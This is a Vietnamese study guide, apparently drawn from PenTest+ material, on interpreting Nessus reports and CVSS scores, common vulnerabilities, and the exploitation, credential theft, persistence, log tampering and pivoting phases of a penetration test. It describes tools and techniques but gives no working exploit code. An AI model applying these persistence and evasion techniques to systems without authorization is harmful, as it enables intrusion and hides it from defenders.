Kiểm tra viên thâm nhập (pentester) dành một lượng thời gian đáng kể để “phân tích và giải thích các báo cáo do máy quét lỗ hổng tạo ra (ví dụ Nessus, OpenVAS), nhằm tìm kiếm các lỗ hổng có thể bị khai thác để đạt được chỗ đứng trên hệ thống mục tiêu.” Mặc dù máy quét “cực kỳ hiệu quả trong việc tự động hóa công việc xác định lỗ hổng,” nhưng kết quả của chúng “đòi hỏi phải được giải thích bởi một nhà phân tích được đào tạo.”

2. Cấu trúc và diễn giải báo cáo quét lỗ hổng (Ví dụ Nessus)

Báo cáo quét lỗ hổng cung cấp thông tin chi tiết về từng lỗ hổng được xác định. Một báo cáo Nessus điển hình bao gồm các phần sau:

  • A. Tên và Mức độ nghiêm trọng: Cung cấp tiêu đề mô tả của lỗ hổng và mức độ nghiêm trọng tổng thể (Thấp, Trung bình, Cao, Quan trọng). Ví dụ, một lỗ hổng SSH hỗ trợ thuật toán mã hóa yếu được xếp loại “Trung bình”.
  • B. Mô tả chi tiết: Giải thích bản chất của lỗ hổng. Đối với ví dụ SSH, mô tả cho biết “dịch vụ SSH của máy chủ chỉ hỗ trợ mật mã luồng Arcfour không an toàn và giải thích rằng dịch vụ này gặp sự cố với khóa mã hóa yếu.”
  • C. Giải pháp: Cung cấp thông tin về cách khắc phục lỗ hổng. Trong trường hợp không có giải pháp chi tiết, quản trị viên được khuyên “liên hệ với nhà cung cấp để được hướng dẫn về cách gỡ bỏ hỗ trợ mật mã yếu.”
  • D. Tham khảo thêm: Cung cấp các liên kết hoặc tham chiếu để tìm hiểu thêm chi tiết về lỗ hổng, ví dụ: “Yêu cầu Nhận xét của Lực lượng Đặc nhiệm Kỹ thuật Internet (IETF) (RFC) 4253” cho giao thức SSH.
  • E. Đầu ra báo cáo: Hiển thị thông tin chi tiết được hệ thống từ xa trả về khi được thăm dò lỗ hổng. Điều này “cực kỳ có giá trị đối với một nhà phân tích vì nó thường cung cấp kết quả nguyên văn được trả về bởi một lệnh,” giúp hiểu lý do báo cáo lỗ hổng và xác định các trường hợp dương tính giả.
  • F. Cổng/Máy chủ: Liệt kê các máy chủ và dịch vụ cụ thể có lỗ hổng. Ví dụ, một lỗ hổng có thể tồn tại trên nhiều máy chủ (10.12.148.151, 10.14.251.189, 10.14.107.98) đang chạy dịch vụ SSH trên cổng TCP 22.
  • G. Thông tin rủi ro: Bao gồm mức độ rủi ro tổng thể và điểm CVSS cơ bản (ví dụ: 4.3 cho lỗ hổng SSH).
  • H. Thông tin plugin: Chi tiết về plugin quét đã phát hiện ra vấn đề (ví dụ: Nessus ID 90317, xuất bản tháng 4 năm 2016).

Các báo cáo từ các máy quét khác như Qualys và OpenVAS có thể khác nhau về định dạng nhưng “thường cung cấp cùng một thông tin.”

3. Hiểu Hệ thống Chấm điểm Lỗ hổng Chung (CVSS)

CVSS là một “tiêu chuẩn công nghiệp để đánh giá mức độ nghiêm trọng của các lỗ hổng bảo mật,” được các nhà phân tích an ninh mạng sử dụng để ưu tiên các hành động ứng phó. Nó đánh giá lỗ hổng dựa trên sáu yếu tố:

  • Chỉ số Vector Truy cập (Access Vector – AV): Mô tả cách kẻ tấn công khai thác lỗ hổng.
  • Local (L): 0.395 (truy cập vật lý hoặc logic).
  • Adjacent Network (A): 0.646 (truy cập mạng cục bộ).
  • Network (N): 1.000 (khai thác từ xa qua mạng).
  • Chỉ số Độ phức tạp Truy cập (Access Complexity – AC): Mô tả mức độ khó khăn khi khai thác.
  • High (H): 0.350 (yêu cầu điều kiện “chuyên biệt”).
  • Medium (M): 0.610 (yêu cầu điều kiện “hơi chuyên biệt”).
  • Low (L): 0.710 (không yêu cầu điều kiện chuyên biệt).
  • Chỉ số Xác thực (Authentication – Au): Mô tả rào cản xác thực cần vượt qua.
  • Multiple (M): 0.450 (cần xác thực hai lần trở lên).
  • Single (S): 0.560 (cần xác thực một lần).
  • None (N): 0.704 (không cần xác thực).
  • Chỉ số Bảo mật (Confidentiality – C): Mô tả loại tiết lộ thông tin có thể xảy ra.
  • None (N): 0.000.
  • Partial (P): 0.275.
  • Complete (C): 0.660.
  • Chỉ số Tính toàn vẹn (Integrity – I): Mô tả loại thay đổi thông tin có thể xảy ra.
  • None (N): 0.000.
  • Partial (P): 0.275.
  • Complete (C): 0.660.
  • Chỉ số Khả dụng (Availability – A): Mô tả loại gián đoạn có thể xảy ra.
  • None (N): 0.000.
  • Partial (P): 0.275.
  • Complete (C): 0.660.

Vectơ CVSS là định dạng một dòng tóm tắt các xếp hạng này, ví dụ: CVSS2#AV:N/AC:M/Au:N/C:P/I:N/A:N. Từ ví dụ lỗ hổng SSH, nó cho thấy:

  • Vector truy cập: Mạng (1.000)
  • Độ phức tạp khi truy cập: Trung bình (0.610)
  • Xác thực: Không có (0.704)
  • Tính bảo mật: Một phần (0.275)
  • Tính chính trực: Không có (0.000)
  • Tính khả dụng: Không có (0.000)

Tính điểm cơ bản CVSS: Điểm này là một con số duy nhất đại diện cho rủi ro tổng thể. Nó được tính toán từ điểm khả năng khai thác (Exploitability) và điểm tác động (Impact). Đối với lỗ hổng SSH, điểm cơ bản là 4.3, thuộc loại rủi ro “Trung bình”.

Phân loại Điểm cơ sở CVSS (Nessus):

  • Dưới 4.0: Thấp
  • 4.0 trở lên, nhưng nhỏ hơn 6.0: Trung bình
  • 6.0 hoặc cao hơn, nhưng nhỏ hơn 10.0: Cao
  • 10.0: Quan trọng

4. Xác thực Kết quả Quét

Các nhà phân tích cần xác nhận sự hiện diện và mức độ nghiêm trọng của các lỗ hổng.

  • Dương tính giả (False Positives): Xảy ra khi máy quét báo cáo một lỗ hổng không tồn tại. Điều này có thể do không đủ quyền truy cập hoặc lỗi trong plugin. Nhà phân tích nên xác minh từng lỗ hổng, đôi khi bằng cách “mô phỏng một hoạt động khai thác” (ví dụ: SQL injection).
  • Các trường hợp ngoại lệ được lập thành văn bản (Documented Exceptions): Các tổ chức có thể quyết định không khắc phục lỗ hổng vì lý do nghiệp vụ. Các ngoại lệ này nên được ghi lại trong hệ thống quản lý lỗ hổng để giảm “nhiễu” trong các báo cáo sau này, nhưng cần “cẩn thận khi quyết định cho phép một ngoại lệ” vì nó có thể vi phạm các yêu cầu tuân thủ.
  • Hiểu kết quả thông tin (Informational Results): Không phải tất cả thông tin được báo cáo đều là vấn đề bảo mật đáng kể. Các mục “Thông tin” cung cấp “khả năng trinh sát quan trọng cho một người kiểm tra thâm nhập” nhưng thường không được ưu tiên khắc phục vì có thể là “một sự sùng bái khác, nếu không muốn nói là không thể.”
  • Đối chiếu với các nguồn dữ liệu khác: Kiểm tra viên thâm nhập nên sử dụng các nguồn thông tin bảo mật khác như nhật ký máy chủ, ứng dụng, thiết bị mạng, hệ thống SIEM và hệ thống quản lý cấu hình để “điều chỉnh báo cáo quét với thực tế của môi trường máy tính của tổ chức.”
  • Phân tích xu hướng (Trend Analysis): Quản lý nên theo dõi số lượng lỗ hổng mới, tuổi của các lỗ hổng hiện có và thời gian cần thiết để khắc phục để đánh giá hiệu quả chương trình bảo mật.

5. Các Lỗ hổng Phổ biến

Kiểm tra viên thâm nhập cần quen thuộc với các lỗ hổng phổ biến nhất, bao gồm cả những lỗ hổng đã cũ. “Nhiều lỗ hổng được khai thác trong các vụ vi phạm dữ liệu vào năm 2015 đã được phát hiện trước đó hơn một thập kỷ.”

5.1. Lỗ hổng Máy chủ và Điểm cuối

  • Thiếu các bản vá (Missing Patches): Một trong những cảnh báo phổ biến nhất. Các bản vá bị thiếu có thể dẫn đến các lỗ hổng nghiêm trọng như thực thi mã từ xa với điểm CVSS cơ bản là 10.0.
  • Hệ điều hành và ứng dụng không được hỗ trợ (Unsupported Operating Systems and Applications): Các sản phẩm mà nhà cung cấp đã ngừng hỗ trợ sẽ không nhận được các bản vá bảo mật mới, khiến chúng “có khả năng chứa các lỗ hổng bảo mật” và là “kho tàng thông tin” cho kẻ tấn công. Ví dụ là Windows Server 2003.
  • Tràn bộ đệm (Buffer Overflows): Xảy ra khi một chương trình cố gắng đặt nhiều dữ liệu vào một vùng bộ nhớ hơn mức được cấp, ghi đè thông tin khác. Các lỗ hổng này “có xu hướng tồn tại trong nhiều năm sau khi chúng được phát hiện ban đầu.”
  • Nâng cấp đặc quyền (Privilege Escalation): Kẻ tấn công tìm cách tăng mức độ truy cập vào hệ thống, ví dụ từ tài khoản người dùng thông thường lên tài khoản siêu cấp (root). Ví dụ: lỗ hổng Dirty COW trong nhân Linux.
  • Thực thi mã tùy ý (Arbitrary Code Execution): Cho phép kẻ tấn công chạy phần mềm do chúng lựa chọn trên hệ thống mục tiêu. “Lỗ hổng thực thi mã từ xa” đặc biệt nguy hiểm vì chúng có thể bị khai thác qua mạng mà không cần truy cập vật lý.

5.2. Lỗ hổng Phần cứng

  • Lỗ hổng chương trình cơ sở (Firmware Vulnerabilities): Chương trình cơ sở (firmware) trên các thiết bị phần cứng có thể chứa lỗ hổng và thường “vẫn chưa được vá” vì thiếu cơ chế cập nhật tự động.
  • Spectre và Meltdown: Các lỗ hổng ảnh hưởng đến bộ xử lý và cho phép truy cập trái phép vào dữ liệu nhạy cảm.
  • Lỗ hổng hệ thống điểm bán hàng (Point-of-Sale System Vulnerabilities): Hệ thống POS là mục tiêu béo bở do xử lý thông tin thẻ tín dụng. Chúng yêu cầu mức độ vá và kiểm soát bảo mật tương tự như các hệ thống Windows khác và phải tuân thủ PCI DSS.

5.3. Sử dụng Giao thức Không an toàn

  • Sử dụng giao thức không an toàn (Insecure Protocol Use): Các giao thức cũ như Telnet và FTP không sử dụng mã hóa, khiến thông tin có thể bị nghe trộm. Giải pháp là chuyển sang các giao thức an toàn hơn như Secure Shell (SSH), SFTP hoặc FTPS.
  • Chế độ gỡ lỗi (Debug Modes): Các chế độ gỡ lỗi trong ứng dụng có thể cung cấp thông tin chi tiết về hoạt động nội bộ của ứng dụng, máy chủ và cơ sở dữ liệu hỗ trợ, vô tình hỗ trợ kẻ tấn công. Chúng nên được tắt trên các hệ thống hiển thị công khai.

5.4. Lỗ hổng Mạng

  • Thiếu cập nhật chương trình cơ sở (Missing Firmware Updates): Các thiết bị mạng cũng cần cập nhật chương trình cơ sở thường xuyên để khắc phục lỗ hổng bảo mật.
  • Vấn đề SSL và TLS (SSL and TLS Issues):Phiên bản SSL/TLS lỗi thời (Outdated SSL/TLS Versions): SSL không còn an toàn và không nên được sử dụng; các phiên bản TLS sớm cũng vậy. Nên chỉ hỗ trợ các giao thức mới hơn như TLS 1.2.
  • Sử dụng mật mã không an toàn (Insecure Cipher Use): Một số bộ mật mã được sử dụng với SSL/TLS không an toàn (ví dụ: RC4) và cần được thay đổi để chỉ hỗ trợ các bộ mật mã an toàn.
  • Các vấn đề về chứng chỉ (Certificate Problems): Bao gồm không khớp tên chứng chỉ/máy chủ, chứng chỉ hết hạn và các cơ quan cấp chứng chỉ (CA) không xác định hoặc không đáng tin cậy. Những lỗi này có thể cho thấy các vấn đề bảo mật nghiêm trọng.
  • Hệ thống tên miền (DNS – Domain Name System): Máy chủ DNS là nguồn lỗ hổng phổ biến, bao gồm tràn bộ đệm, bản vá lỗi và lỗi thực thi mã, cũng như “khuếch đại DNS” (DNS amplification) có thể gây ra tấn công từ chối dịch vụ (DDoS).
  • Tiết lộ IP nội bộ (Internal IP Disclosure): Máy chủ được cấu hình sai có thể làm rò rỉ địa chỉ IP riêng tư cho các hệ thống từ xa, cung cấp thông tin về cấu hình bên trong mạng.
  • Sự cố về mạng riêng ảo (Virtual Private Network Issues): Các dịch vụ VPN cần được vá đầy đủ và tránh hỗ trợ sử dụng mật mã không an toàn.

5.5. Lỗ hổng Ảo hóa

  • VM Escape (Thoát máy ảo): Các cuộc tấn công thoát máy ảo cho phép kẻ tấn công có quyền truy cập vào một máy chủ ảo duy nhất và sau đó xâm nhập vào các tài nguyên được gán cho một máy ảo khác bằng cách vượt qua các hạn chế của hypervisor.
  • Quyền truy cập giao diện quản lý (Management Interface Access): Giao diện quản lý của cơ sở hạ tầng ảo “cực kỳ nhạy cảm từ góc độ bảo mật” và cần được kiểm soát chặt chẽ, không bao giờ được truy cập trực tiếp từ mạng công cộng.
  • Bản vá máy chủ ảo (Virtual Host Patching): Các nền tảng ảo hóa cần nhận được các bản cập nhật bảo mật để vá các lỗ hổng có thể ảnh hưởng đến khách ảo hoặc toàn bộ nền tảng.
  • Vấn đề về khách ảo (Virtual Guest Issues): Mỗi máy khách ảo cần được coi là một máy chủ riêng biệt và phải được vá kịp thời và duy trì tốt. “Không có sự khác biệt từ góc độ bảo mật giữa máy chủ vật lý và máy chủ ảo hóa.”
  • Các vấn đề về mạng ảo (Virtual Network Issues): Mạng ảo cũng cần được duy trì với sự chú ý tương tự đến bảo mật như mạng vật lý, bao gồm việc sử dụng tường lửa ảo và cô lập các hệ thống có mức độ bảo mật khác nhau.

5.6. Internet of Things (IoT)

  • Thiết bị IoT có thể có các lỗ hổng bảo mật và là đối tượng của các cuộc tấn công dựa trên mạng. Tuy nhiên, việc vá các thiết bị IoT “thường khó hơn” do khó có được các bản vá và thiếu cơ chế cập nhật tự động.
  • Ví dụ điển hình là cuộc tấn công DDoS Mirai năm 2016, đã tận dụng một botnet IoT từ các thiết bị thông thường (màn hình trẻ em, DVR, camera an ninh) để tấn công nhà cung cấp dịch vụ DNS Dyn, làm sập các phần lớn của Internet.

5.7. Lỗ hổng Ứng dụng Web

  • Các cuộc tấn công tiêm (Injection Attacks): Xảy ra khi kẻ tấn công gửi lệnh qua máy chủ web đến hệ thống phụ trợ, vượt qua kiểm soát bảo mật.
  • SQL injection: Hình thức phổ biến nhất, khai thác ứng dụng web để gửi lệnh trái phép đến máy chủ cơ sở dữ liệu (ví dụ: lấy thông tin thẻ tín dụng). Phòng chống bằng cách xác thực đầu vào và thực thi hạn chế đặc quyền.
  • Viết kịch bản cho nhiều trang web (Cross-Site Scripting – XSS): Kẻ tấn công nhúng các lệnh script vào một trang web, sau đó được thực thi bởi khách truy cập không nghi ngờ, lừa người dùng đáng tin cậy thực thi mã độc hại.

Tóm lại, việc phân tích báo cáo lỗ hổng là một kỹ năng cốt lõi cho pentester, đòi hỏi sự hiểu biết sâu sắc về các loại lỗ hổng, cách đánh giá mức độ nghiêm trọng của chúng bằng CVSS và khả năng xác thực kết quả quét cũng như đối chiếu chúng với các nguồn dữ liệu khác để có cái nhìn toàn diện về tình hình an ninh mạng.

Chương 6 : Khai thác (Exploit) và Pivot (Xoay vòng) trong Thử nghiệm Thâm nhập

Tài liệu cung cấp một cái nhìn tổng quan toàn diện về các giai đoạn “Khai thác” và “Xoay vòng” trong một cuộc thử nghiệm thâm nhập (Pen-Testing), tập trung vào các kỹ thuật, công cụ và chiến lược mà một kiểm thử viên thâm nhập sử dụng để giành quyền truy cập vào hệ thống, duy trì quyền truy cập đó và mở rộng phạm vi tấn công trong mạng mục tiêu.

I. Giai đoạn Khai thác (Exploit)

Giai đoạn khai thác là việc sử dụng các lỗ hổng đã được xác định để giành quyền truy cập vào một hệ thống.

A. Chuẩn bị Khai thác:

  • Phân tích lỗ hổng và chọn mục tiêu: Sau khi quét lỗ hổng (như với OpenVAS), kiểm thử viên phải phân tích báo cáo, xem xét mức độ nghiêm trọng (điểm CVSS), các bản vá bị thiếu và dữ liệu bổ sung. Mục tiêu ưu tiên thường là các hệ thống dễ bị tấn công nhất để đạt được chỗ đứng ban đầu.
  • “Trong hầu hết các trường hợp, bạn sẽ nhắm mục tiêu các hệ thống dễ bị tấn công nhất để khai thác trước nhằm đạt được chỗ đứng hay vị trí có thể cung cấp quyền truy cập sâu hơn.”
  • Xác định khai thác phù hợp: Việc lựa chọn khai thác phù hợp là rất quan trọng. Tài liệu nhấn mạnh việc tập trung vào các lỗ hổng có mức độ nghiêm trọng cao (ví dụ: điểm CVSS 9.0 trở lên) và chất lượng phát hiện cao.
  • Ví dụ: Lỗ hổng ManageEngine Desktop Central 9 FileUploadServlet với mức độ nghiêm trọng 10 và chất lượng phát hiện 99% được coi là mục tiêu rất hấp dẫn.
  • Không bỏ qua lỗ hổng tiếp xúc thông tin: Ngay cả các lỗ hổng có xếp hạng thấp hơn nhưng tiết lộ thông tin (ví dụ: phpinfo()) cũng rất hữu ích để thu thập thêm thông tin về cấu hình hệ thống hoặc ứng dụng, có thể hỗ trợ các khai thác tiếp theo.
  • “Bạn không nên bỏ qua các lỗ hổng tiếp xúc thông tin, ngay cả khi chúng có xếp hạng thấp hơn. Chúng thường là một cách tuyệt vời để có thêm thông tin hữu ích về cách một hệ thống hoặc ứng dụng được định cấu hình và có thể cung cấp thông tin chi tiết bạn cần để khai thác thêm.”
  • Sự tồn tại của phần mềm cũ, chưa vá: Nhiều hệ thống nhúng và gói phần mềm có sẵn có thể bao gồm các phiên bản cũ hơn của PHP, .NET, Java, Tomcat, Flash, v.v., và thường không được vá trong nhiều năm, trở thành mục tiêu lý tưởng.

B. Tài nguyên khai thác:

  • Nguồn khai thác công khai: Các khai thác có sẵn rộng rãi trên các trang web cá nhân, bộ sưu tập trung tâm và các trang web công khai chuyên dụng (ví dụ: Meltdown và Spectre).
  • Thận trọng khi tải xuống khai thác: Tải xuống khai thác có thể nguy hiểm do nguy cơ phần mềm độc hại được nhúng. Mặc dù một số trang web cung cấp mã băm (MD5/SHA1) để xác minh, các công cụ chống phần mềm độc hại thường gắn cờ mã khai thác là độc hại.
  • Cơ sở dữ liệu khai thác trung tâm:The Exploit Database (www.exploit-db.com): Một trong những cơ sở dữ liệu khai thác công khai lớn nhất, bao gồm khai thác, shellcode và “Google dorks”. Có thể truy cập cục bộ thông qua SearchSploit trong Kali Linux.
  • Rapid7 Vulnerability and Exploit Database (https://www.rapid7.com/db): Hữu ích cho người dùng Metasploit nhờ tích hợp với các công cụ khai thác Metasploit.
  • National Vulnerability Database (NVD) (http://nvd.nist.gov): Tập trung vào lỗ hổng hơn là tính khả dụng của khai thác.
  • VULDB (http://vuldb.com): Cơ sở dữ liệu lỗ hổng dựa trên cộng đồng, bao gồm ước tính giá khai thác và thứ hạng giá.

C. Phát triển và Sửa đổi Khai thác:

  • Quy trình phát triển khai thác: Dựa trên thông tin về lỗ hổng, các nhà phát triển xác minh khả năng tái tạo, kiểm tra tác động và cố gắng làm cho khai thác có thể lặp lại và đáng tin cậy.
  • Proof-of-Concept (PoC) Exploits: Được thiết kế để xác nhận rằng một khai thác có thể thành công, không nhất thiết phải đáng tin cậy hoặc lặp lại một cách nhất quán.
  • Sửa đổi khai thác: Thường cần thiết khi khai thác yêu cầu cấu hình hoặc thay đổi cụ thể cho môi trường mục tiêu, đặc biệt đối với các khai thác PoC hoặc phiên bản ban đầu. Metasploit Framework tạo điều kiện cho việc sửa đổi này.
  • Chaining Exploits: Sử dụng một loạt các khai thác để thu thập thông tin, leo thang đặc quyền hoặc giành quyền truy cập. Ví dụ: tiết lộ thông tin -> tấn công ứng dụng -> giành quyền kiểm soát tài khoản -> leo thang đặc quyền.
  • “Đường dẫn thường xuyên qua một chuỗi khai thác được thể hiện trong Hình 6.5. Trong ví dụ này, người kiểm tra thâm nhập sử dụng lỗ hổng tiết lộ thông tin để tiết lộ thông tin về cơ sở dữ liệu phụ trợ, máy chủ ứng dụng và ứng dụng. Người kiểm tra thâm nhập sau đó sử dụng thông tin đó để tấn công ứng dụng, giành quyền kiểm soát tài khoản mà ứng dụng đang chạy.”

D. Bộ công cụ khai thác:

  • Metasploit: Công cụ khai thác mạnh mẽ và mặc định cho nhiều kiểm thử viên.
  • Phiên bản: Framework (mã nguồn mở, miễn phí), Pro (thương mại, nâng cao), Community (giao diện web miễn phí), Express, Armitage (giao diện đồ họa tập trung vào nhóm).
  • Chức năng: Khám phá (Nmap), khai thác, phân phối payload, tránh bị phát hiện.
  • Các bước cơ bản: Khởi động console (msfconsole), chọn khai thác, chọn payload, chạy khai thác.
  • Xếp hạng khai thác: Metasploit xếp hạng khai thác (Excellent, Great, Good, Normal, Average, Low, Manual) dựa trên khả năng thành công và tác động. Kiểm thử viên thường ưu tiên các khai thác “Normal” hoặc cao hơn.
  • Tìm kiếm khai thác: Sử dụng lệnh search với các từ khóa như app, author, bid, cve, edb, name, platform, ref, type.
  • Payloads: Là các mô-đun khai thác, bao gồm: single (độc lập), stager (thiết lập kết nối mạng), stage (tải công cụ lớn hơn). Các loại payload bao gồm inline, staged, Meterpreter (công cụ mạnh mẽ, cư trú trong bộ nhớ), NoNX, ORD, IPv6, Reflective DLL injection.
  • PowerSploit: Một tập hợp các script PowerShell cho các khả năng như bỏ qua AV, thực thi mã, xâm nhập, bền bỉ, kỹ thuật đảo ngược và trinh sát. Thường bị Windows Defender phát hiện. Bao gồm chức năng Mimikatz.
  • Empire: Công cụ hậu khai thác dựa trên PowerShell và Python, sử dụng giao tiếp được mã hóa và cho phép các tác nhân PowerShell chạy mà không cần powershell.exe.

E. Chi tiết Khai thác Cụ thể (PenTest+ Focus):

  • RPC/DCOM: Từng là phương pháp tấn công phổ biến trên các hệ thống Windows cũ, nhưng hiện ít phổ biến hơn.
  • PsExec: Công cụ Sysinternals để chạy chương trình trên hệ thống từ xa qua SMB (cổng 445). Thường bị gắn cờ bởi AV. Khai thác PsExec của Metasploit nhúng payload vào tệp thực thi dịch vụ.
  • PS Remoting/WinRM: Windows Remote Management cho phép thực thi lệnh PowerShell từ xa trên Windows 7+. Cần được bật (enable-PSRemoting -force) và thiết lập TrustedHosts giữa các miền.
  • WMI (Windows Management Instrumentation): Cho phép quản lý từ xa và thu thập dữ liệu trên tất cả các hệ thống Windows. Cung cấp quyền truy cập vào thông tin phong phú và cho phép thực thi lệnh từ xa. Các công cụ như WMImplant và WmiSploit khai thác WMI.
  • Scheduled Tasks và cron Jobs: Phương pháp thử và đúng để duy trì quyền truy cập trên Windows và Linux/Unix. Có thể tồn tại sau khi khởi động lại, nhưng dễ bị phát hiện hơn các kỹ thuật cư trú trong bộ nhớ. Thường được sử dụng để tạo script “gọi về nhà”.
  • SMB (Server Message Block): Giao thức chia sẻ tệp phổ biến trên Windows (CIFS, SMB 2/3) và Linux (Samba). Cung cấp dịch vụ phân giải tên, tệp, xác thực, in ấn, khiến nó trở thành mục tiêu hấp dẫn. Công cụ như Responder có thể thu thập thông tin xác thực băm. Impacket có thể phát lại thông tin xác thực SMB.
  • RDP (Remote Desktop Protocol): Khai thác trực tiếp hiếm hơn, tập trung vào việc sử dụng các tài khoản hiện có với dịch vụ RDP (TCP/UDP 3389).
  • Apple Remote Desktop (ARD): Cung cấp quyền truy cập GUI từ xa. Các phiên bản dễ bị tấn công có thể bị khai thác (ví dụ: root từ xa trong MacOS High Sierra). Hữu ích để truy cập hệ thống MacOS bị xâm nhập với thông tin đăng nhập bị đánh cắp.
  • VNC (Virtual Network Computing): Công cụ máy tính từ xa phổ biến khác, cung cấp quyền truy cập đồ họa. Có thể có lỗ hổng hoặc được sử dụng với thông tin xác thực bị chiếm đoạt. Metasploit hỗ trợ payloads VNC.
  • X-Server Forwarding (X11/X-Windows): Hệ thống cửa sổ đồ họa cho Linux/Unix. Phiên X có thể được chuyển tiếp qua kết nối mạng, thường qua đường hầm SSH. Phiên X không an toàn có thể bị chiếm đoạt.
  • Telnet: Dịch vụ shell từ xa không được mã hóa. Kết nối Telnet có thể bị nghe lén để bắt thông tin đăng nhập.
  • SSH (Secure Shell): Truy cập shell từ xa được mã hóa. Khai thác thường dựa vào các phiên bản máy chủ SSH dễ bị tấn công hoặc chiếm đoạt khóa SSH và cụm mật khẩu từ các hệ thống bị xâm nhập.
  • rsh và rlogin: Các dịch vụ kế thừa ít phổ biến trong môi trường hiện đại do vấn đề bảo mật. Nếu thấy, có thể là dấu hiệu của hệ thống cũ hoặc được bảo trì kém.

II. Các cuộc tấn công Hậu khai thác phổ biến

Sau khi có quyền truy cập, kiểm thử viên thâm nhập sẽ tập trung vào việc thu thập thông tin bổ sung, leo thang đặc quyền và di chuyển ngang.

  • Tấn công mật khẩu:Phương pháp lấy mật khẩu từ máy bị xâm nhập:pwdump và tiện ích liên quan từ Windows SAM.
  • /etc/passwd và /etc/shadow trên Linux/Unix.
  • cache và creddump từ bộ nhớ cache hoặc Windows Registry.
  • Truy vấn SQL vào các bảng hệ thống/quản trị cơ sở dữ liệu.
  • Nghe lén mật khẩu trên mạng (ít hiệu quả hơn do mã hóa, nhưng vẫn hữu ích để ánh xạ mạng).
  • Mimikatz: Công cụ hậu khai thác Windows mạnh mẽ, có sẵn dưới dạng script Meterpreter, công cụ độc lập và trong PowerSploit/Empire. Có thể truy xuất mật khẩu dạng văn bản rõ ràng và băm NTLM, thực hiện các cuộc tấn công Golden Ticket.
  • “Mimikatz có thể truy xuất mật khẩu văn bản rõ ràng và băm NTLM, tiến hành các cuộc tấn công Golden Ticket làm cho các phiên Kerberos của Windows không hợp lệ trở nên hợp lệ và thực hiện các chức năng khác có thể khiến cho việc hack Windows sau khai thác trở thành giấc mơ của người kiểm tra thâm nhập.”
  • Credential Brute-force: Sử dụng công cụ tự động (THC-Hydra, John the Ripper, Brutus, Metasploit) để kiểm tra các cặp tên người dùng/mật khẩu.
  • Tấn công từ điển: Sử dụng danh sách từ có sẵn (ví dụ: RockYou) hoặc danh sách tùy chỉnh (ví dụ: chứa các thuật ngữ dành riêng cho tổ chức).
  • Bảng cầu vồng (Rainbow Tables): Danh sách băm mật khẩu được tính toán trước để tra cứu nhanh, hiệu quả hơn brute-force đối với mật khẩu đã băm không được salt.
  • Biên dịch chéo (Cross-compilation): Biên dịch mã khai thác cho kiến trúc đích khác với kiến trúc của máy chủ phát triển (ví dụ: x86 cho ARM64).
  • Leo thang đặc quyền (Privilege Escalation):Leo thang dọc: Đạt được các đặc quyền cao hơn (ví dụ: từ người dùng thường thành quản trị viên/root).
  • Khai thác hạt nhân: Phương pháp phổ biến cho leo thang dọc cục bộ.
  • Khai thác ứng dụng và dịch vụ: Nhắm mục tiêu tài khoản mà dịch vụ chạy dưới quyền hoặc logic nghiệp vụ/kiểm soát trong ứng dụng.
  • Tấn công leo thang đặc quyền cơ sở dữ liệu: Tận dụng SQL injection hoặc lỗi phần mềm cơ sở dữ liệu.
  • Vấn đề thiết kế và cấu hình: Xác định các quyền hoặc đặc quyền không mong muốn của tài khoản.
  • Leo thang ngang: Di chuyển sang các tài khoản hoặc dịch vụ khác có cùng mức đặc quyền, thường để truy cập dữ liệu hoặc các quyền cụ thể.
  • Kỹ thuật xã hội (Social Engineering): Sử dụng sự lừa dối để khai thác điểm yếu của con người và vượt qua các kiểm soát bảo mật kỹ thuật.
  • Các hình thức: Lừa đảo (phishing qua điện thoại, email, mạng xã hội, SMS), tấn công tại chỗ (mạo danh), lặn thùng rác (dumpster diving), phân phối thiết bị (ổ USB chứa Trojan).
  • “Con người vẫn là bộ phận dễ bị tổn thương nhất trong bất kỳ môi trường nào.”
  • “Việc sử dụng các kỹ thuật dựa trên sự lừa dối tận dụng điểm yếu của con người có thể cung cấp quyền truy cập vượt qua các lớp bảo mật kỹ thuật mà không thể khắc phục được.”

III. Bền bỉ và Trốn tránh (Persistence and Evasion)

Khả năng duy trì quyền truy cập và tránh bị phát hiện là rất quan trọng.

A. Duy trì quyền truy cập:

  • Scheduled Jobs và Scheduled Tasks: Cách đơn giản để duy trì quyền truy cập, cho phép gọi lại định kỳ đến hệ thống từ xa.
  • Inetd Modification: Thêm dịch vụ bổ sung vào siêu daemon Inetd (Linux) để duy trì kết nối liên tục.
  • Daemons và Services: Cài đặt dịch vụ giả mạo hoặc chèn mã độc hại vào dịch vụ hiện có (ví dụ: với Meterpreter) để truy cập liên tục. Cài đặt daemon cung cấp quyền truy cập lâu dài hơn so với mã cư trú trong bộ nhớ (không tồn tại khi khởi động lại).
  • Backdoors và Trojans: Được sử dụng để tạo sự bền bỉ. Backdoor là phương tiện vượt qua kiểm soát bảo mật; Trojan là phần mềm độc hại ngụy trang dưới dạng phần mềm hợp pháp.
  • Sửa đổi trực tiếp mã ứng dụng web/script: Xóa xác thực đầu vào, thêm mã dễ bị tấn công hoặc công cụ truy cập từ xa.
  • Tạo người dùng mới: Một phương pháp đã được thử nghiệm. Meterpreter có thể dễ dàng tạo người dùng trên Windows. Việc che giấu bao gồm chọn tên tài khoản khớp với dịch vụ/người dùng hiện có.

B. Trốn tránh Phát hiện:

  • Làm cho công cụ vô hại: Meterpreter tự chèn vào các quy trình hiện có, sử dụng tên tương tự hoặc hòa nhập với các tệp/hành vi bình thường.
  • Mã hóa và làm xáo trộn công cụ: Công cụ mã hóa và đa hình có thể làm chậm quá trình phát hiện.
  • Dọn dẹp tệp và nhật ký:Xóa các tệp do cuộc tấn công và công cụ tạo ra.
  • Thận trọng với nhật ký: Các tệp nhật ký trống có thể đáng ngờ hơn các tệp nhật ký đã sửa đổi. Nếu có ghi nhật ký từ xa, việc xóa cục bộ có thể không hiệu quả.
  • “Mặc dù có thể hấp dẫn để xóa các tệp nhật ký, nhưng các tệp nhật ký trống sẽ đáng ngờ hơn nhiều so với các tệp nhật ký đã sửa đổi trong hầu hết các trường hợp.”
  • Che giấu thông tin liên lạc: Sử dụng giao tiếp được mã hóa, các giao thức phổ biến và đảm bảo thông tin liên lạc đến các máy chủ vô hại để ngăn chặn phát hiện.

IV. Xoay vòng (Pivoting)

Xoay vòng là việc tận dụng một hệ thống bị xâm nhập để có được cái nhìn mới về mạng hoặc hệ thống mục tiêu, xác định các mục tiêu mới không thể nhìn thấy từ góc độ quét ban đầu.

  • Mở rộng phạm vi tấn công: Ví dụ: sau khi xâm nhập một máy chủ trong DMZ, kiểm thử viên có thể quét các hệ thống bên trong mạng nội bộ mà trước đây bị tường lửa chặn.
